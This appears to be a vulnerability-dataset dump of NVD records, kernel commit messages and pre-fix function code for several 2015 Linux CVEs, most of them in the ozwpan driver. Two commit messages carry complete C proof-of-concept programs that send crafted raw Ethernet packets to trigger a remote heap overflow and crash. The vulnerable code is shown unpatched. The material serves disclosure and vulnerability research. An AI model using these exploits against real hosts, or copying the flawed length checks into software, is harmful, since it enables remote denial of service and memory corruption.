LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1233615', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1233615', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3f7352bf21f8fd7ba3e2fcef9488756f188e12be', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3f7352bf21f8fd7ba3e2fcef9488756f188e12be', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/23/2', 'name': '[oss-security] 20150622 Re: CVE request: Linux kernel - bpf jit optimization flaw can panic kenrel.', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/3f7352bf21f8fd7ba3e2fcef9488756f188e12be', 'name': 'https://github.com/torvalds/linux/commit/3f7352bf21f8fd7ba3e2fcef9488756f188e12be', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/75356', 'name': '75356', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2684-1', 'name': 'USN-2684-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2683-1', 'name': 'USN-2683-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2679-1', 'name': 'USN-2679-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00010.html', 'name': 'SUSE-SU-2015:1490', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00023.html', 'name': 'SUSE-SU-2015:1224', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1033046', 'name': '1033046', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'https://support.f5.com/csp/article/K05211147', 'name': 'https://support.f5.com/csp/article/K05211147', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-17'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The bpf_int_jit_compile function in arch/x86/net/bpf_jit_comp.c in the Linux kernel before 4.0.6 allows local users to cause a denial of service (system crash) by creating a packet filter and then loading crafted BPF instructions that trigger late convergence by the JIT compiler.'}]
2019-04-08T20:29Z
2015-08-31T10:59Z
DEPRECATED: Code
This entry has been deprecated. It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.
https://cwe.mitre.org/data/definitions/17.html
1
Alexei Starovoitov
2015-05-22 15:42:55-07:00
x86: bpf_jit: fix compilation of large bpf programs x86 has variable length encoding. x86 JIT compiler is trying to pick the shortest encoding for given bpf instruction. While doing so the jump targets are changing, so JIT is doing multiple passes over the program. Typical program needs 3 passes. Some very short programs converge with 2 passes. Large programs may need 4 or 5. But specially crafted bpf programs may hit the pass limit and if the program converges on the last iteration the JIT compiler will be producing an image full of 'int 3' insns. Fix this corner case by doing final iteration over bpf program. Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") Reported-by: Daniel Borkmann <[email protected]> Signed-off-by: Alexei Starovoitov <[email protected]> Tested-by: Daniel Borkmann <[email protected]> Acked-by: Daniel Borkmann <[email protected]> Signed-off-by: David S. Miller <[email protected]>
3f7352bf21f8fd7ba3e2fcef9488756f188e12be
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
bpf_int_jit_compile
bpf_int_jit_compile( struct bpf_prog * prog)
['prog']
void bpf_int_jit_compile(struct bpf_prog *prog) { struct bpf_binary_header *header = NULL; int proglen, oldproglen = 0; struct jit_context ctx = {}; u8 *image = NULL; int *addrs; int pass; int i; if (!bpf_jit_enable) return; if (!prog || !prog->len) return; addrs = kmalloc(prog->len * sizeof(*addrs), GFP_KERNEL); if (!addrs) return; /* Before first pass, make a rough estimation of addrs[] * each bpf instruction is translated to less than 64 bytes */ for (proglen = 0, i = 0; i < prog->len; i++) { proglen += 64; addrs[i] = proglen; } ctx.cleanup_addr = proglen; for (pass = 0; pass < 10; pass++) { proglen = do_jit(prog, addrs, image, oldproglen, &ctx); if (proglen <= 0) { image = NULL; if (header) bpf_jit_binary_free(header); goto out; } if (image) { if (proglen != oldproglen) { pr_err("bpf_jit: proglen=%d != oldproglen=%d\n", proglen, oldproglen); goto out; } break; } if (proglen == oldproglen) { header = bpf_jit_binary_alloc(proglen, &image, 1, jit_fill_hole); if (!header) goto out; } oldproglen = proglen; } if (bpf_jit_enable > 1) bpf_jit_dump(prog->len, proglen, 0, image); if (image) { bpf_flush_icache(header, image + proglen); set_memory_ro((unsigned long)header, header->pages); prog->bpf_func = (void *)image; prog->jited = true; } out: kfree(addrs); }
314
True
1
CVE-2015-4002
False
False
False
False
AV:N/AC:L/Au:N/C:P/I:P/A:C
NETWORK
LOW
NONE
PARTIAL
PARTIAL
COMPLETE
9.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://openwall.com/lists/oss-security/2015/06/05/7', 'name': '[oss-security] 20150605 Re: CVE Request: Linux Kernel Ozwpan Driver - Remote packet-of-death vulnerabilities', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'name': 'https://github.com/torvalds/linux/commit/9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'name': 'https://github.com/torvalds/linux/commit/d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/74668', 'name': '74668', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2667-1', 'name': 'USN-2667-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2665-1', 'name': 'USN-2665-1', 'refsource': 'UBUNTU', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions.'}]
2016-12-28T02:59Z
2015-06-07T23:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Jason A. Donenfeld
2015-05-29 13:06:58+02:00
ozwpan: Use proper check to prevent heap overflow Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
d114b9fe78c8d6fc6e70808c2092aa307c36dc8e
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
oz_usb_rx
oz_usb_rx( struct oz_pd * pd , struct oz_elt * elt)
['pd', 'elt']
void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) { struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1); struct oz_usb_ctx *usb_ctx; spin_lock_bh(&pd->app_lock[OZ_APPID_USB]); usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB]; if (usb_ctx) oz_usb_get(usb_ctx); spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]); if (usb_ctx == NULL) return; /* Context has gone so nothing to do. */ if (usb_ctx->stopped) goto done; /* If sequence number is non-zero then check it is not a duplicate. * Zero sequence numbers are always accepted. */ if (usb_hdr->elt_seq_num != 0) { if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0) /* Reject duplicate element. */ goto done; } usb_ctx->rx_seq_num = usb_hdr->elt_seq_num; switch (usb_hdr->type) { case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; int data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1; u16 offs = le16_to_cpu(get_unaligned(&body->offset)); u16 total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, data_len, offs, total_size); } break; case OZ_SET_CONFIG_RSP: { struct oz_set_config_rsp *body = (struct oz_set_config_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_SET_INTERFACE_RSP: { struct oz_set_interface_rsp *body = (struct oz_set_interface_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_VENDOR_CLASS_RSP: { struct oz_vendor_class_rsp *body = (struct oz_vendor_class_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, elt->length- sizeof(struct oz_vendor_class_rsp)+1); } break; case OZ_USB_ENDPOINT_DATA: oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length); break; } done: oz_usb_put(usb_ctx); }
387
True
1
CVE-2015-4001
False
False
False
False
AV:N/AC:L/Au:N/C:P/I:P/A:C
NETWORK
LOW
NONE
PARTIAL
PARTIAL
COMPLETE
9.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c', 'name': 'https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://openwall.com/lists/oss-security/2015/06/05/7', 'name': '[oss-security] 20150605 Re: CVE Request: Linux Kernel Ozwpan Driver - Remote packet-of-death vulnerabilities', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/74672', 'name': '74672', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2667-1', 'name': 'USN-2667-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2665-1', 'name': 'USN-2665-1', 'refsource': 'UBUNTU', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-189'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Integer signedness error in the oz_hcd_get_desc_cnf function in drivers/staging/ozwpan/ozhcd.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (system crash) or possibly execute arbitrary code via a crafted packet.'}]
2016-12-28T02:59Z
2015-06-07T23:59Z
Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.
https://cwe.mitre.org/data/definitions/189.html
1
Jason A. Donenfeld
2015-05-29 13:06:59+02:00
ozwpan: Use unsigned ints to prevent heap overflow Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
oz_hcd_get_desc_cnf
oz_hcd_get_desc_cnf( void * hport , u8 req_id , int status , const u8 * desc , int length , int offset , int total_size)
['hport', 'req_id', 'status', 'desc', 'length', 'offset', 'total_size']
void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, int length, int offset, int total_size) { struct oz_port *port = hport; struct urb *urb; int err = 0; oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n", length, offset, total_size); urb = oz_find_urb_by_id(port, 0, req_id); if (!urb) return; if (status == 0) { int copy_len; int required_size = urb->transfer_buffer_length; if (required_size > total_size) required_size = total_size; copy_len = required_size-offset; if (length <= copy_len) copy_len = length; memcpy(urb->transfer_buffer+offset, desc, copy_len); offset += copy_len; if (offset < required_size) { struct usb_ctrlrequest *setup = (struct usb_ctrlrequest *)urb->setup_packet; unsigned wvalue = le16_to_cpu(setup->wValue); if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id)) err = -ENOMEM; else if (oz_usb_get_desc_req(port->hpd, req_id, setup->bRequestType, (u8)(wvalue>>8), (u8)wvalue, setup->wIndex, offset, required_size-offset)) { oz_dequeue_ep_urb(port, 0, 0, urb); err = -ENOMEM; } if (err == 0) return; } } urb->actual_length = total_size; oz_complete_urb(port->ozhcd->hcd, urb, 0); }
275
True
1
CVE-2015-4003
False
False
False
False
AV:N/AC:L/Au:N/C:N/I:N/A:C
NETWORK
LOW
NONE
NONE
NONE
COMPLETE
7.8
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://openwall.com/lists/oss-security/2015/06/05/7', 'name': '[oss-security] 20150605 Re: CVE Request: Linux Kernel Ozwpan Driver - Remote packet-of-death vulnerabilities', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/04bf464a5dfd9ade0dda918e44366c2c61fce80b', 'name': 'https://github.com/torvalds/linux/commit/04bf464a5dfd9ade0dda918e44366c2c61fce80b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=04bf464a5dfd9ade0dda918e44366c2c61fce80b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=04bf464a5dfd9ade0dda918e44366c2c61fce80b', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/74668', 'name': '74668', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2667-1', 'name': 'USN-2667-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2665-1', 'name': 'USN-2665-1', 'refsource': 'UBUNTU', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-189'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The oz_usb_handle_ep_data function in drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (divide-by-zero error and system crash) via a crafted packet.'}]
2016-12-28T02:59Z
2015-06-07T23:59Z
Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.
https://cwe.mitre.org/data/definitions/189.html
1
Jason A. Donenfeld
2015-05-29 13:07:00+02:00
